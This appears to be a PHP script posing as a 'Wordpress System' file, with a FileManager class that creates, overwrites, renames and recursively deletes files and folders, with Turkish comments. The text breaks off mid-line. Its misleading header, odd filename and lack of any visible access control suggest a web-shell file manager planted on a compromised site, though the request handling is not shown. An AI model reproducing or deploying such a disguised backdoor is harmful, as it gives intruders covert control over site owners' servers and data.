File: //proc/thread-self/cwd/ccc.php
<?php
/*
* Wordpress System
* @author Store
* @date 2024/04/01
*/
class FileManager {
private $baseDir;
public function __construct($dir = "./") {
$this->baseDir = realpath($dir) . DIRECTORY_SEPARATOR;
}
public function deleteFile($filename, $currentDir = '') {
$filePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $filename;
if (!file_exists($filePath)) return 'File does not exist';
if (is_dir($filePath)) return $this->deleteDirectory($filename, $currentDir); // Klasör silme işlemi
return unlink($filePath) ? 'File deleted successfully' : 'Error deleting file';
}
public function saveFile($filename, $content, $currentDir = '') {
$filePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $filename;
return file_put_contents($filePath, $content) !== false ? 'File saved successfully' : 'Error saving file';
}
public function createFile($filename, $content, $currentDir = '') {
$filePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $filename;
if (file_exists($filePath)) return 'File already exists';
return file_put_contents($filePath, $content) !== false ? 'File created successfully' : 'Error creating file';
}
public function renameFile($oldName, $newName, $currentDir = '') {
$oldPath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $oldName;
$newPath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $newName;
return rename($oldPath, $newPath) ? 'File renamed successfully' : 'Error renaming file';
}
public function createDirectory($dirName, $currentDir = '') {
$dirPath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $dirName;
if (!file_exists($dirPath)) {
return mkdir($dirPath, 0777, true) ? 'Directory created successfully' : 'Error creating directory';
}
return 'Directory already exists';
}
public function deleteDirectory($dirName, $currentDir = '') {
$dirPath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $dirName;
if (!is_dir($dirPath)) return 'Directory does not exist';
$files = array_diff(scandir($dirPath), array('.', '..'));
foreach ($files as $file) {
$filePath = $dirPath . DIRECTORY_SEPARATOR . $file;
is_dir($filePath) ? $this->deleteDirectory($file, $currentDir . DIRECTORY_SEPARATOR . $dirName) : unlink($filePath);
}
return rmdir($dirPath) ? 'Directory deleted successfully' : 'Error deleting directory';
}
public function listContents($dir = '') {
$dirPath = $this->baseDir . $dir;
if (!is_dir($dirPath)) return false;
$files = scandir($dirPath);
$contents = array_diff($files, array('.', '..'));
// Klasörleri, PHP dosyalarını ve diğer dosyaları ayır
$folders = [];
$phpFiles = [];
$otherFiles = [];
foreach ($contents as $item) {
$filePath = $dirPath . DIRECTORY_SEPARATOR . $item;
if (is_dir($filePath)) {
$folders[] = $item;
} elseif (pathinfo($filePath, PATHINFO_EXTENSION) === 'php') {
$phpFiles[] = $item;
} else {
$otherFiles[] = $item;
}
}
// Sıralama: Önce klasörler, sonra PHP dosyaları, en son diğer dosyalar
$sortedContents = array_merge($folders, $phpFiles, $otherFiles);
// Üst dizine çıkmak için '..' ekleyelim
if ($dir !== '') {
array_unshift($sortedContents, '..');
}
return $sortedContents;
}
public function getFileInfo($filename, $currentDir = '') {
$filePath = $this->baseDir . $currentDir . DIRECTORY_SEPARATOR . $filename;
if (!file_exists($filePath)) return false;
return [
'name' => basename($filename),
'size' => $this->formatSize(filesize($filePath)),
'modified' => date("Y-m-d H:i:s", filemtime($filePath)),
'is_dir' => is_dir($filePa